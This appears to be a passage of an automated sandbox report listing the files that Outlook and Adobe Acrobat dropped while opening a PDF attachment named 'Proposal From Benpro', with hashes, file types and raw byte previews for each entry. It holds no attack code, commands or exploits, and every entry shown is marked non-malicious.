File Type:	PNG image data, 24 x 25, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	585
Entropy (8bit):	7.241616784665163
Encrypted:	false
SSDEEP:	12:6v/7c/Pve5DMPahU7DKeAhmllkBTydG/ynjwomHUiuWt9/jb:r/P25DMWUVuSaBTyLjw7HUwjb
MD5:	92D2D66E7968066B8970ED42217BFC46
SHA1:	16CF4CA27C7AC83E1D95C9E23CA91FC3AE7F16AD
SHA-256:	C4B180A352AF60BDC645827FD10B899F1A6128C9E71643A58F0B0AFB4FEF6818
SHA-512:	30C80F417CB64CCAE7204B42FEDA91278EEBD8441F633E6CC2F30FC33899F7CE5DBFE83A9FAFB12023BCAA8AA18C15691840A47E6EF7637A95A771198B0CFE6F
Malicious:	false
Preview:	.PNG........IHDR................o....tEXtSoftware.Microsoft Office..5q....PLTE....t..t..s..t..s..s..s..s..{..r..\|..y..\|..t..~..y..v..q..w.!..2..2..:..I..J..E..C..C..K..W..].._..V..Z..^..]..v..y..`..w................................................................)....tRNS.@..f....pHYs...@...@.bCc[....cmPPJCmp0712....H.s.....IDAT(S..YS.1..g2dX.B..E%..rx.x...[N...M.'.e+.e2I......i.Z.;fbm.).V&'i..V$.........O(.=.0.6.R\.....[...KM..w5./;N..Q..r.s..p............&uw.._....@u.?...3.{...\g...3.n2.nc7....w.......8.a..6.(...d}P....G.o.8..m^9.............$.`....IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\D910A311.dat

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	PNG image data, 120 x 83, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	5846
Entropy (8bit):	7.9510075241136695
Encrypted:	false
SSDEEP:	96:5imqEQZzmUIDqjzR5eOSV8rtDl0a0cQYb6nqxZ7N8DKre/lVvARMcxYlA1xr6EH9:5iC84oR5bcAtDORKNNs/fARMcXIm
MD5:	DD8E6F4DA27FA9EDF7503B16967BD65A
SHA1:	E9DA6D8A5825F6252F4D10E5662E937D1DBAF889
SHA-256:	A1DA5868E0E0FCD0F20EF5F1D74EC8CEAAB881F79EE94607EC4B3EC59B873C93
SHA-512:	28DDCE691EE7355A02DA273E19A39564D0A49980225AF1C6AF5072AA82B3250CA1A138D1E7EAFD2EFEB34980BBE37D30EA23663F98789CCB61D3466FEFA30A36
Malicious:	false
Preview:	.PNG........IHDR...x...S.....T..'....sRGB.........gAMA......a.....pHYs...........~....kIDATx^..\|.E...'.$.L.Q.}$@..Q.[QQwEL...J.....E...B.....9r.....<>.9....> .Y..s...J.d.F.L...tW._M...+.=...~>...z....U..Wuw..%.(.p...6G...........$..?...9cO..{b.E..u..........U............U..&d.NK..x.4c.....{..j....Rz.L.......Ow-.r.L.Ib...<........D...K3f.i.......u.4...z....IbV.....o....2)0...3..}....)1E.`U#...\....._.9b..)E....k..3.NN).8YZ1E.ItR...l..9.v.L....f......(.b..k.6...y....?!..!...]7.-1O...pj".....bF....UU..L..L.....3.}.e.K.O.3-XU.G./R.......}..p........iF.%...&i.i..D'..v..H.e..:S..'....{..\|+..$}..+.T.'G..qiQW.S...i...m..<.{Q/..9.j.I.O.g%.1w.1\;....D..+pN\.N.[q..2.O.g[0.....+.w8.j....O6.^u..W.M.l^M.yT.'...r....<.Lp..M...aRy....(..^.A..........v.).".9....*i.1 .e...i..;....NM.<q.L..z...._......E#j.....].....y..w&3.GE..]....58.0y....@.8...O"TY....S...z.R.2{.%...D.osB6.m..)9)E..I..C.,N$......M....W....'>R.^..~.1...i.FH3..q)..t].F.~.'\|.L5...7.K.4....0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\B3WU6MDI\Proposal From Benpro (002).pdf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	PDF document, version 1.7, 2 pages
Category:	dropped
Size (bytes):	110619
Entropy (8bit):	7.029889341061854
Encrypted:	false
SSDEEP:	768:a6bFbxBfjEKbEjEYeEVHDZQ0B0FZpNIfZoC529LLNfLKUtZIBppQDvOi:xbFbxBnqlFQ0WFZpaZopLNipQDOi
MD5:	C64F2677EFED814734D4DE5007FC5494
SHA1:	FC94514F2DB7977E66BCF4F76BB4F560EBDC2FAC
SHA-256:	88D1EF10501FD00EC52E7D1D0922F42A38A69C060F429DB42B57A4B7D4C51FD3
SHA-512:	2ED402220ED991D9F48C656729C30347ABB304C9BBED605E2D457AE58141B8C3706332D8140F718AA9B5CA72EBF7E4485AA5F16BF2B475379D8B86870709C5FE
Malicious:	false
Preview:	%PDF-1.7.%.....3 0 obj.<</Author (Israel Manzano) /Comments () /Company () /CreationDate (D:20240418190058+18'00') /Creator (WPS Writer) /Keywords () /ModDate (D:20240418190058+18'00') /Producer () /SourceModified (D:20240418190058+18'00') /Subject () /Title () /Trapped /False>>.endobj.8 0 obj.<</AIS false /BM /Normal /CA 1 /Type /ExtGState /ca 1>>.endobj.14 0 obj.<</BitsPerComponent 8 /ColorSpace /DeviceRGB /Filter /DCTDecode /Height 168 /Length 5329 /Subtype /Image /Type /XObject /Width 300>>..stream........JFIF.............C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222........,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\B3WU6MDI\Proposal From Benpro (002).pdf:Zone.Identifier

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:gAWY3n:qY3n
MD5:	FBCCF14D504B7B2DBCB5A5BDA75BD93B
SHA1:	D59FC84CDD5217C6CF74785703655F78DA6B582B
SHA-256:	EACD09517CE90D34BA562171D15AC40D302F0E691B439F91BE1B6406E25F5913
SHA-512:	AA1D2B1EA3C9DE3CCADB319D4E3E3276A2F27DD1A5244FE72DE2B6F94083DDDC762480482C5C2E53F803CD9E3973DDEFC68966F974E124307B5043E654443B98
Malicious:	false
Preview:	[ZoneTransfer]..ZoneId=3..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\B3WU6MDI\Proposal From Benpro.pdf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	PDF document, version 1.7, 2 pages
Category:	dropped
Size (bytes):	110619
Entropy (8bit):	7.029889341061854
Encrypted:	false
SSDEEP:	768:a6bFbxBfjEKbEjEYeEVHDZQ0B0FZpNIfZoC529LLNfLKUtZIBppQDvOi:xbFbxBnqlFQ0WFZpaZopLNipQDOi
MD5:	C64F2677EFED814734D4DE5007FC5494
SHA1:	FC94514F2DB7977E66BCF4F76BB4F560EBDC2FAC
SHA-256:	88D1EF10501FD00EC52E7D1D0922F42A38A69C060F429DB42B57A4B7D4C51FD3
SHA-512:	2ED402220ED991D9F48C656729C30347ABB304C9BBED605E2D457AE58141B8C3706332D8140F718AA9B5CA72EBF7E4485AA5F16BF2B475379D8B86870709C5FE
Malicious:	false
Preview:	%PDF-1.7.%.....3 0 obj.<</Author (Israel Manzano) /Comments () /Company () /CreationDate (D:20240418190058+18'00') /Creator (WPS Writer) /Keywords () /ModDate (D:20240418190058+18'00') /Producer () /SourceModified (D:20240418190058+18'00') /Subject () /Title () /Trapped /False>>.endobj.8 0 obj.<</AIS false /BM /Normal /CA 1 /Type /ExtGState /ca 1>>.endobj.14 0 obj.<</BitsPerComponent 8 /ColorSpace /DeviceRGB /Filter /DCTDecode /Height 168 /Length 5329 /Subtype /Image /Type /XObject /Width 300>>..stream........JFIF.............C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222........,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\B3WU6MDI\Proposal From Benpro.pdf:Zone.Identifier

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:gAWY3n:qY3n
MD5:	FBCCF14D504B7B2DBCB5A5BDA75BD93B
SHA1:	D59FC84CDD5217C6CF74785703655F78DA6B582B
SHA-256:	EACD09517CE90D34BA562171D15AC40D302F0E691B439F91BE1B6406E25F5913
SHA-512:	AA1D2B1EA3C9DE3CCADB319D4E3E3276A2F27DD1A5244FE72DE2B6F94083DDDC762480482C5C2E53F803CD9E3973DDEFC68966F974E124307B5043E654443B98
Malicious:	false
Preview:	[ZoneTransfer]..ZoneId=3..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{5460741B-FA72-4FC7-810C-3D1D00A59832}.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	DIY-Thermocam raw data (Lepton 2.x), scale 0-0, spot sensor temperature 0.000000, unit celsius, color scheme 0, minimum point enabled, userbration: offset 512.000000, slope 512.000000
Category:	dropped
Size (bytes):	12532
Entropy (8bit):	2.9968104595814284
Encrypted:	false
SSDEEP:	96:4DNvD++7Ohgggggggr0yEdrtrMiH5ror1uSOgNovRuv96pywO3kRFhgggggggCyP:pkOCfNmhUUpj6+4Q
MD5:	3F5F68D69045584CA1C318BABF4DB2F8
SHA1:	9CFAA9F906A62FF84CA9DAE82D307C1F44BDDF39
SHA-256:	322177394DC3183426ED81FEEC994DA426B70F3D62F00605EF3DEF1124C93124
SHA-512:	D5B8DFB7B832F87BF2D8089CEA4DE89CE23A67BBF22A5A38677BA5ECA40D6BD932E0736FC5E399623EDB65DDD5DA59C22FC617AD927C4CB6ED3B52AEDFB8D22C
Malicious:	false
Preview:	....G.o.o.d. .a.f.t.e.r.n.o.o.n.,...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................$...(.......................................................................V.............................................................................................................................................................................................................................................................................................................................................*...$..$.If........!v..h.#v....:V.......t.....6......5.......4....

C:\Users\user\AppData\Local\Temp\Diagnostics\OUTLOOK\App1713474295760677100_21D1105C-26DA-4E3F-8667-4617BAEE6D0E.log

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	ASCII text, with very long lines (28766), with CRLF line terminators
Category:	dropped
Size (bytes):	20971520
Entropy (8bit):	0.1756994562924425
Encrypted:	false
SSDEEP:	1536:dp5aD2a0TgqzcPAEAxISUWWi6XR4DfcYbqjRsFdj1nYnBkqjln0aiDm:s29Dzc4ZMQ4l0aiDm
MD5:	1D9B581F3F14669C665614A92D758834
SHA1:	9788A7AA3E84289C7AB406FCCECDEF1A2302A912
SHA-256:	96A937EBCA80F84EDC207032EA53108C8C73CFD2C4D2A1F781E5C65AA68531C8
SHA-512:	3B0EFA05270C14B3D1E1AC892BF57D17E005FEC394F080D96DF8EDDA341AEA7D6AE7EBADE5B122FED984F6F467B9A7703D9F7F8FF409A963747D8D42749343FF
Malicious:	false
Preview:	Timestamp.Process.TID.Area.Category.EventID.Level.Message.Correlation..04/18/2024 21:04:55.832.OUTLOOK (0x1940).0x1960.Microsoft Outlook.Telemetry Event.b7vzq.Medium.SendEvent {"EventName":"Office.Text.GDIAssistant.HandleCallback","Flags":30962256044949761,"InternalSequenceNumber":22,"Time":"2024-04-18T21:04:55.832Z","Contract":"Office.System.Activity","Activity.CV":"XBDRIdomP06GZ0YXuu5tDg.4.9","Activity.Duration":21,"Activity.Count":1,"Activity.AggMode":0,"Activity.Success":true,"Data.GdiFamilyName":"","Data.CloudFontStatus":6,"Data.CloudFontTypes":256}...04/18/2024 21:04:55.848.OUTLOOK (0x1940).0x1960.Microsoft Outlook.Telemetry Event.b7vzq.Medium.SendEvent {"EventName":"Office.Text.ResourceClient.Deserialize","Flags":30962256044949761,"InternalSequenceNumber":24,"Time":"2024-04-18T21:04:55.848Z","Contract":"Office.System.Activity","Activity.CV":"XBDRIdomP06GZ0YXuu5tDg.4.10","Activity.Duration":14607,"Activity.Count":1,"Activity.AggMode":0,"Activity.Success":true,"Data.JsonFileMajorV

C:\Users\user\AppData\Local\Temp\Diagnostics\OUTLOOK\App1713474295761657700_21D1105C-26DA-4E3F-8667-4617BAEE6D0E.log

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	20971520
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	8F4E33F3DC3E414FF94E5FB6905CBA8C
SHA1:	9674344C90C2F0646F0B78026E127C9B86E3AD77
SHA-256:	CD52D81E25F372E6FA4DB2C0DFCEB59862C1969CAB17096DA352B34950C973CC
SHA-512:	7FB91E868F3923BBD043725818EF3A5D8D08EBF1059A18AC0FE07040D32EEBA517DA11515E6A4AFAEB29BCC5E0F1543BA2C595B0FE8E6167DDC5E6793EDEF5BB
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MSI37230.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5441332632710916
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8sKk9lNWrwle:Qw946cPbiOxDlbYnuRKS2fWrww
MD5:	A083F844D4D698D94E0929503E2D95A4
SHA1:	BFFD5230816E7FD0102A4789F9F28173ABC38453
SHA-256:	B11ECE3852418E55EC550484C1392E9B043A6B9FF0604EF8F466406B975D4108
SHA-512:	73DA5BFEFF4343B99CF91F6EB7DD3BD8215D7864F3C5247F8D1D9EF25041B5E5575ACD183C0532DA2EC20457892C541223CE6C0C37A4FAA32BC2B962FA685783
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.8./.0.4./.2.0.2.4. . .2.3.:.0.5.:.3.6. .=.=.=.....

C:\Users\user\AppData\Local\Temp\Outlook Logging\OUTLOOK_16_0_16827_20130-20240418T2304550546-6464.etl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	4.499326137058465
Encrypted:	false
SSDEEP:	3072:dw5ZOOsPK9lh9hGQ4698jKIj6iKznE8Y6pZL3ct4SgbYUlUX2+q:CP
MD5:	0926FCB93A3732AE682AB174D0A1E58B
SHA1:	06107EE7890CF931C5AAC7C94796C9A2A357FEAE
SHA-256:	605618FAF82EEC36C81B26E124FBC8DE31A9FDC7F6D6B5B3B568AEDE1675871B
SHA-512:	E80C401F164590EEF1BCC5382CA13B261685032B3D82FC5F45586505E5A982CB0A98761299F046BD4066B393AF48EBAC62C8F689E69F3EC4F2825951672CCAC7
Malicious:	false
Preview:	............................................................................`...`...@.....l....................eJ..............Zb..2.......................................@.t.z.r.e.s...d.l.l.,.-.3.2.2.......................................................@.t.z.r.e.s...d.l.l.,.-.3.2.1...........................................................0u...Y............l............v.2._.O.U.T.L.O.O.K.:.1.9.4.0.:.2.7.f.0.9.4.6.5.7.e.d.b.4.0.a.1.b.8.d.d.f.a.d.2.1.f.f.d.4.2.d.f...C.:.\.U.s.e.r.s.\.c.a.l.i.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.O.u.t.l.o.o.k. .L.o.g.g.i.n.g.\.O.U.T.L.O.O.K._.1.6._.0._.1.6.8.2.7._.2.0.1.3.0.-.2.0.2.4.0.4.1.8.T.2.3.0.4.5.5.0.5.4.6.-.6.4.6.4...e.t.l.......P.P.`...@.....l............................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2024-04-18 23-05-30-904.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.353642815103214
Encrypted:	false
SSDEEP:	384:tbxtsuP+XEWJJQbnR8L31M7HeltV+KYm3wsa2KjF4ODkr/O8r2IUHUHMWwEyZRN2:aPL
MD5:	91F06491552FC977E9E8AF47786EE7C1
SHA1:	8FEB27904897FFCC2BE1A985D479D7F75F11CEFC
SHA-256:	06582F9F48220653B0CB355A53A9B145DA049C536D00095C57FCB3E941BA90BB
SHA-512:	A63E6E0D25B88EBB6602885AB8E91167D37267B24516A11F7492F48876D3DDCAE44FFC386E146F3CF6EB4FA6AF251602143F254687B17FCFE6F00783095C5082
Malicious:	false
Preview:	SessionID=ec4bacf2-5410-40d4-850b-5ac338f864f3.1696585143072 Timestamp=2023-10-06T11:39:03:072+0200 ThreadID=6404 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=ec4bacf2-5410-40d4-850b-5ac338f864f3.1696585143072 Timestamp=2023-10-06T11:39:03:072+0200 ThreadID=6404 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=ec4bacf2-5410-40d4-850b-5ac338f864f3.1696585143072 Timestamp=2023-10-06T11:39:03:072+0200 ThreadID=6404 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=ec4bacf2-5410-40d4-850b-5ac338f864f3.1696585143072 Timestamp=2023-10-06T11:39:03:073+0200 ThreadID=6404 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=ec4bacf2-5410-40d4-850b-5ac338f864f3.1696585143072 Timestamp=2023-10-06T11:39:03:073+0200 ThreadID=6404 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.346972240798066
Encrypted:	false
SSDEEP:	384:h06diEiBK3ZbM4ZanCbICb+ShMlwAUxTkOgy+wtE9h8O1rO2N/B4r45QjFFDMMY7:Tq
MD5:	016E3350B0DCFBE1009BEECCA2225C96
SHA1:	7D65AAF2DF3EC253422467DC66FB03968FBED9C8
SHA-256:	B41BDBA6A3BDB0CC50D4A79ECE3935E1D628506DD4F2D2668F59A86FAEBD5892
SHA-512:	9231FD8DCBE61E0FB365151FB38D8A6E20C648EB21FE0D0D2035546E7AC57D162EE11858F7A81578303C50E29C34930D1A33076B149FFA8512BFC321E394B0AB
Malicious:	false
Preview:	SessionID=f817fe49-91f0-48aa-a1ce-25f6a891e0b2.1713474330930 Timestamp=2024-04-18T23:05:30:930+0200 ThreadID=2732 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=f817fe49-91f0-48aa-a1ce-25f6a891e0b2.1713474330930 Timestamp=2024-04-18T23:05:30:932+0200 ThreadID=2732 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=f817fe49-91f0-48aa-a1ce-25f6a891e0b2.1713474330930 Timestamp=2024-04-18T23:05:30:932+0200 ThreadID=2732 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=f817fe49-91f0-48aa-a1ce-25f6a891e0b2.1713474330930 Timestamp=2024-04-18T23:05:30:932+0200 ThreadID=2732 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=f817fe49-91f0-48aa-a1ce-25f6a891e0b2.1713474330930 Timestamp=2024-04-18T23:05:30:932+0200 ThreadID=2732 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.417768753459155
Encrypted:	false
SSDEEP:	192:0cbgIhPcbocbAIlncb2cbwI/RcbNcbQIVvcbXGZcbyIiw3cbZ:fhWlA/TVAib
MD5:	88E22FA85A6207ABAFE0C0181D475081
SHA1:	1DEE63AFB06659383C712FC5B4FE63CB46046C82
SHA-256:	35637C95246AF0011D23B306E020DEDFBE291F29D6D105CF668E23593FCD5A82
SHA-512:	BACDEC103D1E61A7666B21B4FBD22FEA36476E904A4BF93D3BCA20F3C91A60FF7C018FEFC681505046B99846D415FF99AA0156D638DD61BBCB068D325406DE55
Malicious:	false
Preview:	06-10-2023 10:08:42:.---2---..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : *************************************..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : ***********************************..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : Starting NGL..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..06-10-2023 10:08:42:.Closing File..06-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\2471e010-2f0c-4f59-af8c-31297d4c9d3c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\3330995c-099a-4fb7-bc17-2cd3a3edd400.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\4e893c8d-3f57-4556-9f72-bc31a35aa98c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/gWL07onGZYZwYIGNPJwdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:4WLxnGZYZwZGM3mlind9i4ufFXpAXkru
MD5:	62CC7E86C42002A2D94AFD7465D3D12E
SHA1:	0030289DD12622F2793F47A56730E0F1467796E2
SHA-256:	C7B86BE615A5F24C336CE72853FC39B7EE161973988218BE2FD1355719B24AE4
SHA-512:	FF425AD7DA4A69E98652BBEDCE1D613807DBD54868744C994E5A1E773289C4A5CD5062E3801F1912F112789F0EB807B4F55074FEBB983E3702D38E46527EFA59
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\e56152f0-334c-414b-907b-2bbd35ffacef.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
